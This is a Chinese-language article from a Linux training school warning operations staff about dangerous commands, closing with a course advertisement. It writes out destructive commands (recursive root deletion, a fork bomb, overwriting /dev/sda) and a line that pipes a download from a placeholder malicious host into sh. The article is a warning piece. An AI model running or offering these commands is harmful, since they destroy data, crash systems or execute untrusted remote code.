运维人员请注意这几个“非常危险”的Linux命令!老男孩Linux培训班
老男孩IT教育
常见问题
2022年1月10日 17:18
对于运维人员来说,熟练掌握Linux命令可谓是至关重要的一件事,Linux命令数不胜数,然而有不少命令的危险系数是比较高的,如果因自身原因给公司带来一些影响,那后果不堪设想,本篇文章整理了几个非常危险的Linux命令,请看下文:
对于运维人员来说,熟练掌握Linux命令可谓是至关重要的一件事,Linux命令数不胜数,然而有不少命令的危险系数是比较高的,如果因自身原因给公司带来一些影响,那后果不堪设想,本篇文章整理了几个非常危险的Linux命令,请看下文:
1、rm -rf命令
此命令是删除文件夹及其内容最快的方式之一,但如果出现一丁点的错误,就可能对系统造成不可恢复的破坏,下面是rm命令的选项:
rm:命令在Linux下通常用来删除文件;
rm -r:命令递归的删除文件夹,甚至是空的文件夹;
rm -f:可不经过询问直接删除“只读文件”,所以-f这个参数表示不必一个个删除确认,而是一律悄悄删除;
rn -rf /:强制删除根目录下的所有东西;
rm -rf *:强制删除当前目录的所有文件;
rm -rf .:强制删除当前文件夹及其子文件夹;
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm -i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};: 命令
其实就是一种fork炸弹,定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台,这样的调用会无限循环,直到系统崩溃。
3、任意命令 > /dev/sda
会将某个命令的输出写到块设备/dev/sda中,该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv 文件夹 /dev/null
会移动某个文件夹到/dev/null中,在Linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的信息,但是这个命令并不能阻止数据恢复软件。
5、wget http://malicious_source -O- | sh
该命令可能会直接下载恶意的源文件,然后使用sh直接运行该脚本。
注意:应该时刻注意你下载包或脚本的源,只能使用那些从可信任的源中下载脚本或程序。
6、> file
常用于清空文件内容或记录命令输出,不过在执行前,请确认输出的文件是空的还是不存在的,否则原来的文件将无法恢复。
7、^foo^bar
这个命令用来编辑先前运行的命令而无需重打整个命令,用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
关于"运维人员请注意这几个“非常危险”的Linux命令!"的话题到这里就结束了,老男孩教育Linux云计算运维课程,包括“公有云+私有云+Python自动化+网络安全”等技术,提供高质量的面授课程,现场细致教学,边讲边练,让学生拥有真正的才能和实践技能,并掌握企业实际需求的实践技术。
推荐阅读:
